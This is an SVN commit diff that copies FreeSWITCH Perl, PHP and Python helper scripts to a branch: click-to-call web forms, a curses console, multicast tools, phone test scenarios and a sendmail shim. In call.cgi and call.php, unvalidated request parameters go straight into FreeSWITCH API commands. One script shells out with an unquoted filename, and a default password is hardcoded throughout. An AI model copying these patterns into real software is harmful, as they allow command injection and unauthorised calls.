+++ freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/t/01_basic.t	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+#!/usr/bin/env perl
+
+use warnings;
+use strict;
+
+use Test::More tests => 1;
+
+use_ok("POE::Filter::FSSocket");
+
+exit;

Copied: freeswitch/branches/seven/scripts/perl/call.cgi (from rev 14471, freeswitch/trunk/scripts/perl/call.cgi) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/call.cgi	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/call.cgi	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,25 @@
+#!/usr/bin/perl
+use CGI qw(:standard);
+use ESL;
+
+my $gateway = "sofia/gateway/my_gateway/";
+my $aleg_cid_num = "0987654321";
+my $bleg_cid_num = "1234567890";
+
+my $q = new CGI; 
+my $c = new ESL::ESLconnection("localhost", "8021", "ClueCon");
+print $q->header;
+
+if($q->param()) {
+  my $numbera = $q->param('numbera');
+  my $numberb = $q->param('numberb');
+  my $e = $c->sendRecv("api originate {ignore_early_media=true,origination_caller_id_number=$aleg_cid_num,effective_caller_id_number=$bleg_cid_num}$gateway$numbera &bridge($gateway$numberb)");
+  print "API Sent:" . $e->getBody();
+  exit;
+}
+
+print $q->start_form, $q->h1("Click to Call Example"), br,
+  "First Party:", $q->textfield('numbera'), br,
+  "Second Party:", $q->textfield('numberb'),br,
+  $q->submit, $q->end_form;
+

Copied: freeswitch/branches/seven/scripts/perl/combineconf.pl (from rev 14471, freeswitch/trunk/scripts/perl/combineconf.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/combineconf.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/combineconf.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,49 @@
+#!/usr/bin/perl -w
+use strict;
+
+=head1 NAME
+
+combineconf.pl - expand #include PIs in a freeswitch conf file
+
+=head1 SYNOPSIS
+
+ # cd conf
+ # ../scripts/combineconf.pl freeswitch.xml > freeswitch_combined.xml
+
+=head1 DESCRIPTION
+
+This is recursive, and will take multiple input files on the command line.
+
+You need to run it from the working directory that the relative include paths
+except to be resolved from.
+
+=head1 AUTHOR
+
+Mark D. Anderson (mda@discerning.com)
+Released under same terms as Perl, or alternatively the MPL.
+
+=cut
+
+use IO::File;
+
+sub filter_file {
+    my ($f) = @_;
+    my $fh = $f eq '-' ? \*STDIN : IO::File->new($f, 'r');
+    die "ERROR: Can't open $f: $!\n" unless $fh;
+    while(<$fh>) {
+	if (m/<!--#include\s+"(.*?)"/) {
+	    filter_file($1);
+	} 
+	else {print;}
+    }
+    undef $fh;
+}
+
+sub main {
+    die "Usage: $0 file1 ...\nCombined output goes to stdout. Use '-' as the filename to use stdin." unless @ARGV;
+    for(@ARGV) {
+	filter_file($_);
+    }
+}
+
+main();

Copied: freeswitch/branches/seven/scripts/perl/extract_log_range.pl (from rev 14471, freeswitch/trunk/scripts/perl/extract_log_range.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/extract_log_range.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/extract_log_range.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+#!/usr/bin/perl
+use Time::Local;
+
+my $file = shift;
+my $start = shift;
+my $stop = shift;
+
+
+sub parse_date($) {
+  my $str = shift;
+
+  if (my ($yr, $mo, $day, $hr, $min, $sec) = $str =~ /(\d{4})\-(\d{2})\-(\d{2}) (\d{2})\:(\d{2})\:(\d{2})/) {
+    return timelocal($sec, $min, $hr, $day - 1, $mo - 1, $yr);
+  } else {
+    die $str;
+  }
+}
+
+if ($start =~ /\:/) {
+  $start = parse_date($start);
+}
+
+if ($stop =~ /\:/) {
+  $stop = parse_date($stop);
+} elsif ($stop =~ /^\+(\d+)/) {
+  $stop = $start + $1;
+}
+
+open(I, $file);
+	       
+while (<I>) {
+  my $str = $_;
+  $epoch = parse_date($str);
+  
+  if ($epoch > $start) {
+    if ($stop && $epoch > $stop) {
+      last;
+    }
+    print;
+  }
+}
+
+close(I);

Copied: freeswitch/branches/seven/scripts/perl/fs.pl (from rev 14471, freeswitch/trunk/scripts/perl/fs.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/fs.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/fs.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,58 @@
+#!/usr/bin/perl
+use FreeSWITCH::Client;
+use Data::Dumper;
+use Term::ReadLine;
+my $password = "ClueCon";
+
+
+my $fs = init FreeSWITCH::Client {-password => $password} or die "Error $@";
+my $term = new Term::ReadLine "FreeSWITCH CLI";
+my $prompt = "FreeSWITCH>";
+my $OUT = $term->OUT .. \*STDOUT;
+my $pid;
+
+my $log = shift;
+
+$SIG{CHLD} = sub {$fs->disconnect(); die "done"};
+
+if ($log) {
+  $pid = fork;
+  if (!$pid) {
+    my $fs2 = init FreeSWITCH::Client {-password => $password} or die "Error $@";
+    
+
+    $fs2->sendmsg({ 'command' => "log $log" });
+    while (1) {
+      my $reply = $fs2->readhash(undef);
+      if ($reply->{socketerror}) {
+	die "socket error";
+      }
+      
+      if ($reply->{body}) {
+	print $reply->{body};
+      } 
+    }
+    exit;
+  }
+
+}
+
+while ( defined ($_ = $term->readline($prompt)) ) {
+  if ($_) {
+    if ($_ =~ /exit/) {
+      last;
+    }
+    my $reply = $fs->command($_);
+    if ($reply->{socketerror}) {
+      $fs2->disconnect();
+      die "socket error";
+    }
+    print "$reply\n";
+    
+  }
+  $term->addhistory($_) if /\S/;
+}
+  
+if ($pid) {
+  kill 9 => $pid;
+}

Copied: freeswitch/branches/seven/scripts/perl/fsconsole.pl (from rev 14471, freeswitch/trunk/scripts/perl/fsconsole.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/fsconsole.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/fsconsole.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,369 @@
+#!/usr/bin/perl
+use strict;
+use warnings;
+
+sub POE::Kernel::ASSERT_DEFAULT () { 1 };
+sub Term::Visual::DEBUG () { 1 }
+sub Term::Visual::DEBUG_FILE () { 'test.log' }
+use IO::Socket;
+use POE qw/Filter::FSSocket Component::Client::TCP/;
+use Data::Dumper;
+use Term::Visual;
+
+
+local *D;
+if (Term::Visual::DEBUG) {
+    *D = *Term::Visual::ERRS;
+}
+
+#local *ERROR = *STDERR;
+
+
+$SIG{__DIE__} = sub {
+    if (Term::Visual::DEBUG) {
+        print Term::Visual::ERRS "Died: @_\n";
+    }
+};
+
+###############################################################################
+## BEGIN Globals ##############################################################
+###############################################################################
+our $server_address = "127.0.0.1";
+our $server_port    = "8021";
+our $server_secret  = "ClueCon";
+
+#this is where you can customize the color scheme
+our %Pallet = (
+	'warn_bullet' => 'bold yellow',
+	'err_bullet'  => 'bold red',
+	'out_bullet'  => 'bold green',
+	'access'      => 'bright red on blue',
+	'current'     => 'bright yellow on blue',
+);
+
+our $terminal;
+my %sockets;
+my %windows;
+my %unread_count;
+my %commands = (
+	'window' => 1,
+	'w'      => 1,
+	'win'    => 1,
+);
+###############################################################################
+##   END Globals ##############################################################
+###############################################################################
+
+#setup our session
+POE::Session->create(
+	'inline_states' => {
+		'_start'       => \&handle_start,        #session start
+		'_stop'        => \&handle_stop,         #session stop
+		'curses_input' => \&handle_curses_input, #input from the keyboard
+		'update_time'  => \&handle_update_time,  #update the status line clock
+		'quit'         => \&handle_quit,         #handler to do any cleanup
+		'server_input' => \&handle_server_input,
+		'_default'      => \&handle_default,
+	},
+	'heap' => {
+		'terminal'     => undef,
+		'freeswitch'   => undef,
+	},
+);
+
+#start the kernel a chugging along
+$poe_kernel->run;
+
+###############################################################################
+## BEGIN Handlers #############################################################
+###############################################################################
+#handles any startup functions for our session
+sub handle_default {
+}
+
+sub handle_start {
+	my ($kernel, $session, $heap) = @_[KERNEL, SESSION, HEAP];
+
+	#setup our terminal
+	 $heap->{'terminal'} = Term::Visual->new(
+		'Alias'        => 'terminal', #poe alias for this
+		'History_Size' => 300,        #number of things to keep in history
+		'Common_Input' => 1,          #all windows share input and history
+		'Tab_Complete' => \&tab_complete,
+	);
+
+	$terminal = $heap->{'terminal'};
+
+	#setup the color palette
+	$terminal->set_palette(%Pallet);
+
+	#create a base window
+	my $window_id = $terminal->create_window(
+		'Window_Name' => 'console',
+		'Buffer_Size' => 3000,
+		'Title'       => 'FreeSWITCH Console',
+		'Status'      => {
+			'0' => {
+				'format' => '%s',
+				'fields' => ['time'],
+			},
+			'1' => {
+				'format' => '%s',
+				'fields' => ['window_status'],
+			},
+		},
+	);
+
+	$windows{'console'} = $window_id;
+
+	$window_id = $terminal->create_window(
+		'Window_Name' => 'log',
+		'Buffer_Size' => 3000,
+		'Title'       => 'FreeSWITCH Logs',
+		'Status'      => {
+			'0' => {
+				'format' => '%s',
+				'fields' => ['time'],
+			},
+			'1' => {
+				'format' => '%s',
+				'fields' => ['window_status'],
+			},
+		},
+	);
+
+	$windows{'log'} = $window_id;
+
+	$window_id = $terminal->create_window(
+		'Window_Name' => 'event',
+		'Buffer_Size' => 3000,
+		'Title'       => 'FreeSWITCH Event',
+		'Status'      => {
+			'0' => {
+				'format' => '%s',
+				'fields' => ['time'],
+			},
+			'1' => {
+				'format' => '%s',
+				'fields' => ['window_status'],
+			},
+		},
+	);
+
+	$windows{'event'} = $window_id;
+
+	#tell the terminal what to call when there is input from the keyboard
+	$kernel->post('terminal' => 'send_me_input' => 'curses_input');
+
+	$terminal->change_window(0);
+	$kernel->delay_set('update_time' => 1);
+	$terminal->set_status_field(0, 'time' => scalar(localtime));
+	new_message('destination_window' => 0, 'message' =>  "
+Welcome to the FreeSWITCH POE Curses Console!
+  The console is split into three windows:
+    - 'console' for api response messages
+    - 'log'     for freeswitch log output (simply send the log level you want 
+                  to start seeing events eg: 'log all')
+    - 'event'   for freeswitch event output (must subscribe in plain format
+                  eg: 'event plain all')
+
+To switch between windows type 'w <windowname' so 'w log' for example.
+
+Coming soon:
+  - Tab completion
+  - command history
+  - window status in the bar (messages added since last view, etc...)
+
+Send any bug reports or comments to jackhammer\@gmail.com
+
+Thanks,
+Paul\n");
+
+	$terminal->set_status_field($terminal->current_window, 'window_status' => format_window_status());
+
+	#connect to freeswitch
+	$heap->{'freeswitch'} = POE::Component::Client::TCP->new(
+		'RemoteAddress' => $server_address,
+		'RemotePort'    => $server_port,
+		'ServerInput'   => \&handle_server_input,
+		'Connected'     => \&handle_fs_connected,
+		'ServerError'   => \&handle_server_error,
+		'Disconnected'  => \&handle_server_disconnect,
+		'Domain'        => AF_INET,
+		'Filter'       => POE::Filter::FSSocket->new(),
+	);
+
+}
+
+#called when users enter commands in a window
+sub handle_curses_input {
+	my ($kernel, $heap, $input, $context) = @_[KERNEL, HEAP, ARG0, ARG1];
+
+	#get the id of the window that is responsible for the input
+	my $window = $heap->{'terminal'}->current_window;
+
+	open(ERROR, ">>error.log");
+
+	if($input eq "quit") {
+		$kernel->yield('quit');
+	} elsif ($input =~ /^w\ (.*)$/) {
+		#get the id of the requested window
+		eval {
+			my $window_id = $windows{$1};
+
+			#see if it's real
+			if(defined($window_id)) {
+				$unread_count{$window_id} = 0;
+				$terminal->change_window($window_id);
+				$terminal->set_status_field($window_id, 'window_status' => &format_window_status());
+			}
+		};
+		if($@) {
+			print ERROR "put error: $@\n";
+		}
+	} else {
+		#see if we got connected at some point
+		if(defined($sockets{'localhost'})) {
+		  my $cmd;
+		  if ($input =~ /^log|^event/) {
+		    $cmd = $input;
+		  } else {
+		    $cmd = "api $input";
+		  }
+		  #send the command
+		  $sockets{'localhost'}->put($cmd);
+		}
+	}
+}
+
+sub handle_fs_connected {
+	my ($kernel, $heap) = @_[KERNEL, HEAP];
+
+	eval {
+		$sockets{'localhost'} = $heap->{'server'};
+	}
+}
+
+#this is responsible for doing any cleanup and returning the terminal to the previous
+#state before we mucked with it
+sub handle_quit {
+	my ($kernel, $heap) = @_[KERNEL, HEAP];
+
+	#tell curses to clean up it's crap
+	$kernel->post('terminal' => 'shutdown');
+
+	#there is probably a more elegant way, but this works for now
+	exit;
+}
+
+#data from freeswitch
+sub handle_server_input {
+        my ($kernel,$heap,$input) = @_[KERNEL,HEAP,ARG0];
+
+	eval {
+		#terminal HATES null
+		if(defined($input->{'__DATA__'})) {
+			$input->{'__DATA__'} =~ s/[\x00]//g;
+		}
+
+		#handle the login
+		if($input->{'Content-Type'} eq "auth/request") {
+			$heap->{'server'}->put("auth $server_secret");
+		} elsif ($input->{'Content-Type'} eq "api/response") {
+			new_message('destination_window' => 0, 'message' => 'API Response: ');
+			new_message('destination_window' => 0, 'message' => $input->{'__DATA__'});
+		} elsif ($input->{'Content-Type'} eq "log/data") {
+			new_message('destination_window' => 1, 'message' => $input->{'__DATA__'});
+		} elsif ($input->{'Content-Type'} eq "text/event-plain") {
+			new_message('destination_window' => 2, 'message' => Dumper $input);
+		} elsif ($input->{'Content-Type'} eq "command/reply") {
+			new_message('destination_window' => 0, 'message' => 'Command Response: ' . $input->{'Reply-Text'});
+		}
+	};
+
+	if($@) {
+		open(ERROR, ">>error.log");
+		print ERROR "died: $@\n";
+		print ERROR Dumper $heap;
+		close(ERROR);
+	}
+}
+
+sub handle_server_error {
+}
+
+sub handle_server_disconnect {
+}
+
+sub tab_complete {
+	my $left = shift;
+
+	my @return;
+
+	if(defined($commands{$left})) {
+		return [$left . " "];
+	#} elsif () {
+	}
+		
+}
+
+sub handle_update_time {
+	my ($kernel, $heap) = @_[KERNEL, HEAP];
+	$terminal->set_status_field($terminal->current_window, 'time' => scalar(localtime));
+	$kernel->delay_set('update_time' => 1);
+}
+###############################################################################
+##   END Handlers #############################################################
+###############################################################################
+
+sub new_message {
+	my %args = @_;
+
+	my $message            = $args{'message'};
+	my $destination_window = $args{'destination_window'};
+
+	my $status_field;
+
+	#see if we are on the window being updated
+	if($terminal->current_window != $destination_window) {
+		#increment the unread count for the window
+		#FIXME, should we count messages or lines?
+		$unread_count{$destination_window}++;
+
+
+		#update the status bar
+		eval {
+			$terminal->set_status_field($terminal->current_window, 'window_status' => &format_window_status());
+		};
+
+		if($@) {
+			print $@;
+		}
+	}
+
+
+	#deliver the message
+	$terminal->print($destination_window, $message);
+}
+
+sub format_window_status {
+	my $status_field;
+
+	#put all the windows in the bar with their current unread count
+	foreach my $window (sort {$windows{$a} <=> $windows{$b}} keys %windows) {
+		#see if we are printing the current window
+		if($terminal->current_window == $windows{$window}) {
+			$status_field .= "[\0(current)$window\0(st_frames)";
+		} else {
+			$status_field .= "[$window";
+		}
+
+		if($unread_count{$windows{$window}}) {
+			$status_field .= " (" . $unread_count{$windows{$window}} . ")";
+		}
+
+		$status_field .= "] ";
+	}
+
+	return $status_field;
+}

Copied: freeswitch/branches/seven/scripts/perl/multicast (from rev 14471, freeswitch/trunk/scripts/perl/multicast)

Deleted: freeswitch/branches/seven/scripts/perl/multicast/recv.pl

Copied: freeswitch/branches/seven/scripts/perl/multicast/recv.pl (from rev 14471, freeswitch/trunk/scripts/perl/multicast/recv.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/multicast/recv.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/multicast/recv.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+use IO::Socket::Multicast;
+my ($ip,$port) = @ARGV;
+
+$ip and $port or die "Usage $0: <ip> <port>\n";
+
+# create a new UDP socket and add a multicast group
+my $socket = IO::Socket::Multicast->new( LocalPort => $port, ReuseAddr => 1 );
+$socket->mcast_add($ip);
+
+while($socket->recv($data,1024)) {
+  $data =~ s/^.{8}//;
+  print $data;
+}

Deleted: freeswitch/branches/seven/scripts/perl/multicast/send.pl

Copied: freeswitch/branches/seven/scripts/perl/multicast/send.pl (from rev 14471, freeswitch/trunk/scripts/perl/multicast/send.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/multicast/send.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/multicast/send.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+#!/usr/local/bin/perl
+use IO::Socket::INET;
+
+my ($ip, $port, $file) = @ARGV;
+
+$ip and $port or die "Usage $0: <ip> <port>\n";
+
+$socket = new IO::Socket::INET->new( PeerPort => $port,
+				     Proto => 'udp',
+				     PeerAddr => $ip);
+open(I, $file);
+$/ = undef;
+my $buf = <I>;
+close(I);
+
+$socket->send("00000000$buf\n");
+

Copied: freeswitch/branches/seven/scripts/perl/scenario (from rev 14471, freeswitch/trunk/scripts/perl/scenario)

Deleted: freeswitch/branches/seven/scripts/perl/scenario/attended_transfer.button

Copied: freeswitch/branches/seven/scripts/perl/scenario/attended_transfer.button (from rev 14471, freeswitch/trunk/scripts/perl/scenario/attended_transfer.button) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/scenario/attended_transfer.button	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/scenario/attended_transfer.button	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+Snom_300,key,CANCEL
+Snom_360,key,CANCEL
+Snom_370,key,CANCEL
+Snom_300,key,ONHOOK
+Snom_360,key,ONHOOK
+Snom_370,key,ONHOOK,1
+Snom_300,number,1006,1
+Snom_360,key,OFFHOOK, 1
+Snom_360,key,F_HOLD, 1
+Snom_360,number,1007,2
+Snom_370,key,OFFHOOK,1
+Snom_360,key,F_TRANSFER,2
+Snom_360,key,ONHOOK
+

Deleted: freeswitch/branches/seven/scripts/perl/scenario/blind_transfer.button

Copied: freeswitch/branches/seven/scripts/perl/scenario/blind_transfer.button (from rev 14471, freeswitch/trunk/scripts/perl/scenario/blind_transfer.button) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/scenario/blind_transfer.button	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/scenario/blind_transfer.button	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+Snom_300,key,CANCEL
+Snom_360,key,CANCEL
+Snom_370,key,CANCEL
+Snom_300,key,ONHOOK
+Snom_360,key,ONHOOK
+Snom_370,key,ONHOOK,1
+Snom_300,number,1006,1
+Snom_360,key,OFFHOOK,1
+Snom_360,key,F_TRANSFER,1
+Snom_360,number,1007,2
+Snom_370,key,OFFHOOK,1

Deleted: freeswitch/branches/seven/scripts/perl/scenario/offhook.button

Copied: freeswitch/branches/seven/scripts/perl/scenario/offhook.button (from rev 14471, freeswitch/trunk/scripts/perl/scenario/offhook.button) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/scenario/offhook.button	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/scenario/offhook.button	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+Snom_300,key,OFFHOOK
+Snom_320,key,OFFHOOK
+Snom_360,key,OFFHOOK
+Snom_370,key,OFFHOOK
+Snom_300,key,ONHOOK
+Snom_320,key,ONHOOK
+Snom_360,key,ONHOOK
+Snom_370,key,ONHOOK

Deleted: freeswitch/branches/seven/scripts/perl/scenario/phones.cfg

Copied: freeswitch/branches/seven/scripts/perl/scenario/phones.cfg (from rev 14471, freeswitch/trunk/scripts/perl/scenario/phones.cfg) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/scenario/phones.cfg	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/scenario/phones.cfg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+Snom_300,10.0.1.17,1000
+Snom_320,10.0.1.242,1002
+Snom_360,10.0.1.243,1006
+Snom_370,10.0.1.244,1007

Deleted: freeswitch/branches/seven/scripts/perl/scenario/runscenario.pl

Copied: freeswitch/branches/seven/scripts/perl/scenario/runscenario.pl (from rev 14471, freeswitch/trunk/scripts/perl/scenario/runscenario.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/scenario/runscenario.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/scenario/runscenario.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+#!/usr/bin/perl
+#
+#  Scenario Test Execution.
+#
+use LWP::UserAgent;
+use Data::Dumper;
+
+$| =1;
+
+our $ua = LWP::UserAgent->new;
+my $phone = load_config();
+
+if(-f $ARGV[0]) {
+  run_scenario($ARGV[0]);
+} else {
+  print "No Scenario File?\n";
+  exit;
+}
+
+sub run_scenario($$) {
+  $file = shift;
+  open(SCENARIO,"<$file");
+  @commands = <SCENARIO>;
+  print Dumper $info;
+  foreach $command (@commands) {
+    chomp $command;
+    my($target, $type, $button, $delay) = split(",",$command);
+    &push_button($phone->{$target}, "$type", "$button", $delay);
+
+  }
+}
+
+sub push_button ($$$) {
+  $info = shift;
+  $type = shift;
+  $button = shift;
+  $delay = shift;
+
+  if($delay) {
+    sleep($delay);
+  } else {
+    $delay = 0;
+  }
+  print "$info->{name} -> $type => $button with delay $delay\n";
+
+  $request = HTTP::Request->new("GET", "http://$info->{ip}/command.htm?$type=$button");
+  $return = $ua->request($request);
+}
+
+sub load_config {
+  open(CFG,"<phones.cfg");
+  @phones = <CFG>;
+  foreach $line (@phones) {
+    chomp $line;
+    my($name,$ip,$extension) = split(",", $line);
+    $phone->{$name} = {name => $name, ip => $ip, extension => $extension}
+  }
+  return $phone;
+}

Copied: freeswitch/branches/seven/scripts/perl/sendmail (from rev 14471, freeswitch/trunk/scripts/perl/sendmail) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/sendmail	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/sendmail	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,40 @@
+#!/usr/local/bin/perl
+################################################################################
+# sendmail.pl
+# <rename this to /usr/sbin/sendmail for a FreeSWITCH
+#  voicemail gateway with no mail server>
+#
+# (c) 2005 Anthony Minessale II
+#  Anthony Minessale <anthmct@yahoo.com>
+#
+################################################################################
+use Net::SMTP;
+my $relayhost = "localhost"; # what is the internet address of your smtp server
+my $over_from = "";          # define this to override the to
+my $over_to = "";            # define this to override the from
+my $debug = 0;               # set to 1 to watch it deliver
+my $timeout = 60;            # when to give up.
+################################################################################
+
+
+$/ = undef;
+my $msg = <STDIN>;
+
+my ($to) = $over_to || $msg =~ /To: (.*)/;
+my ($from) = $over_from || $msg =~ /From: (.*)/;
+
+
+if($to =~ /<([^>]+)>/) {
+  $to = $1;
+} 
+
+if($from =~ /<([^>]+)>/) {
+  $from = $1;
+}
+
+my $smtp = Net::SMTP->new($relayhost, Debug => $debug, Timeout => $timout);
+$smtp->mail($from);
+$smtp->to(split /,/, $to);
+$smtp->data($msg);
+$smtp->quit();
+

Copied: freeswitch/branches/seven/scripts/perl/sock.pl (from rev 14471, freeswitch/trunk/scripts/perl/sock.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/sock.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/sock.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,49 @@
+#!/usr/bin/perl
+use FreeSWITCH::Client;
+use Data::Dumper;
+
+my $fs = init FreeSWITCH::Client {} or die "Error $@";
+my $pid;
+
+for (;;) {
+  $fs->accept();
+
+  if (!($pid = fork)) {
+    last;
+  }
+}
+
+my $data = $fs->call_data();
+
+#print Dumper $data
+print "Call: $data->{'caller-channel-name'} $data->{'unique-id'}\n";
+
+
+$o = $fs->call_command("answer");
+#to turn on events when in async mode
+$o = $fs->raw_command("myevents");
+$o = $fs->call_command("playback", "/ram/swimp.raw");
+
+
+#comment exit in async mode
+#exit;
+
+while(my $r = $fs->readhash(undef)) {
+  if ($r->{socketerror}) {
+    last;
+  }
+
+  if ($r->{has_event}) {
+    print Dumper $r->{event};
+  }
+  if ($r->{event}->{'event-name'} !~ /execute/i) {
+    printf "uuid: $data->{'unique-id'}\n";
+    $o = $fs->call_command("break");
+    $o = $fs->call_command("hangup");
+  }
+}
+
+$fs->disconnect();
+print "done\n";
+
+

Copied: freeswitch/branches/seven/scripts/perl/tonegen (from rev 14471, freeswitch/trunk/scripts/perl/tonegen)

Deleted: freeswitch/branches/seven/scripts/perl/tonegen/rtttl2tgml.pl

Copied: freeswitch/branches/seven/scripts/perl/tonegen/rtttl2tgml.pl (from rev 14471, freeswitch/trunk/scripts/perl/tonegen/rtttl2tgml.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/tonegen/rtttl2tgml.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/tonegen/rtttl2tgml.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,60 @@
+use SMS::Ringtone::RTTTL::Parser;
+
+our $NOTES = {
+	      'A' =>[27.50, 55.00, 110.00, 220.00, 440.00, 880.00, 1760.00, 3520.00], 
+	      'A#' =>[29.14, 58.27, 116.54, 233.08, 466.16, 932.33, 1864.66, 3729.31], 
+	      'B' =>[30.87, 61.74, 123.47, 246.94, 493.88, 987.77, 1975.53, 3951.07], 
+	      'C' =>[16.35, 32.70, 65.41, 130.81, 261.63, 523.25, 1046.50, 2093.00, 4186.01], 
+	      'C#' =>[17.32, 34.65, 69.30, 138.59, 277.18, 554.37, 1108.73, 2217.46, 4434.92], 
+	      'D' =>[18.35, 36.71, 73.42, 146.83, 293.66, 587.33, 1174.66, 2349.32, 4698.64], 
+	      'D#' =>[19.45, 38.89, 77.78, 155.56, 311.13, 622.25, 1244.51, 2489.02, 4978.03], 
+	      'E' =>[20.60, 41.20, 82.41, 164.81, 329.63, 659.26, 1318.51, 2637.02], 
+	      'F' =>[21.83, 43.65, 87.31, 174.61, 349.23, 698.46, 1396.91, 2793.83], 
+	      'F#' =>[23.12, 46.25, 92.50, 185.00, 369.99, 739.99, 1479.98, 2959.96], 
+	      'G' =>[24.50, 49.00, 98.00, 196.00, 392.00, 783.99, 1567.98, 3135.96], 
+	      'G#' =>[25.96, 51.91, 103.83, 207.65, 415.30, 830.61, 1661.22, 3322.44], 
+	      'P' =>[0, 0, 0, 0, 0, 0, 0, 0]
+	     };
+
+
+my $file = shift or die "no file\n";
+
+my $rtttl = `cat $file`;
+
+$rtttl =~ s/\n//g;
+
+#$rtttl =~ tr/[a-z]/[A-Z]/;
+#print  $rtttl;
+
+my $r = new SMS::Ringtone::RTTTL::Parser($rtttl);
+# ....or....
+#my $r = new SMS::Ringtone::RTTTL::Parser($rtttl,{'STRICT_NOTE_PART_ORDER' => 0});
+
+
+# Check for errors
+if ($r->has_errors()) {
+  print STDERR "The following RTTTL errors were found:\n";
+  foreach (@{$r->get_errors()}) {
+    print STDERR "$_\n";
+  }
+  #exit;
+}
+
+# Dump parse results to STDOUT
+#$r->puke();
+
+$all = $r->get_notes();
+
+$ms_per_beat = int (60000 / $r->get_bpm());
+
+foreach (@{$all}) {
+
+  my $ms = $ms_per_beat * (1 / $_->[0]) * 4;
+
+  #print STDERR "$_->[0] $_->[1] $_->[2] $_->[3]\n";
+  
+  print "%($ms, 0, $NOTES->{$_->[1]}->[$_->[2]]);\n";
+
+}
+
+

Copied: freeswitch/branches/seven/scripts/php (from rev 14471, freeswitch/trunk/scripts/php)

Deleted: freeswitch/branches/seven/scripts/php/call.php

Copied: freeswitch/branches/seven/scripts/php/call.php (from rev 14471, freeswitch/trunk/scripts/php/call.php) (0 => 14472)


--- freeswitch/branches/seven/scripts/php/call.php	                        (rev 0)
+++ freeswitch/branches/seven/scripts/php/call.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+<?php
+require_once('ESL.php');
+$my_company_DID = '2135551212';
+$my_company_domain = 'mydomain.com';
+
+$groups = array('default'
+    , 'support'
+    , 'billing'
+    , 'sales'
+);
+
+
+$esl = new ESLconnection('127.0.0.1', '8021', 'ClueCon');
+if (is_array($_REQUEST) && !empty($_REQUEST['callee'])) {
+    $callee = str_replace(array('.', '(', ')', '-', ' '), '', $_REQUEST['callee']);
+    $callee = ereg_replace('^(1|\+1)?([2-9][0-9]{2}[2-9][0-9]{6})$', '1\2', $callee);
+    $group = !empty($_REQUEST['group']) ? $_REQUEST['group'] : 'default';
+    $command_string = "api originate GROUP/$group &transfer($callee LCR)";
+    echo $command_string;
+    $res = $esl->sendRecv($command_string);
+} else {
+    echo "<form><br>\n";
+    echo "Your Number: <input name=\"callee\"><br>\n";
+    echo "Department: <select name=\"group\">";
+    foreach ($groups as $group) {
+        echo "<option value=\"$group\">$group</option>";
+    }
+    echo "</select>";
+    echo "<input type=\"submit\" value=\"Call Me\">";
+    echo "</form>";
+}

Deleted: freeswitch/branches/seven/scripts/pizza.js

Deleted: freeswitch/branches/seven/scripts/ps_pizza.js

Copied: freeswitch/branches/seven/scripts/python (from rev 14471, freeswitch/trunk/scripts/python)

Copied: freeswitch/branches/seven/scripts/python/freepy (from rev 14471, freeswitch/trunk/scripts/python/freepy)

Deleted: freeswitch/branches/seven/scripts/python/freepy/INSTALL

Copied: freeswitch/branches/seven/scripts/python/freepy/INSTALL (from rev 14471, freeswitch/trunk/scripts/python/freepy/INSTALL) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/INSTALL	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/INSTALL	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+
+DEPENDENCIES
+============
+
+The State Machine Compiler is needed for the freepy connection library to function.
+
+    * wget http://ufpr.dl.sourceforge.net/sourceforge/smc/smc_5_0_0.tgz
+    * tar xvfz smc_5_0_0.tgz
+    * cd smc_5_0_0
+    * cd lib
+    * python setup.py install 
+
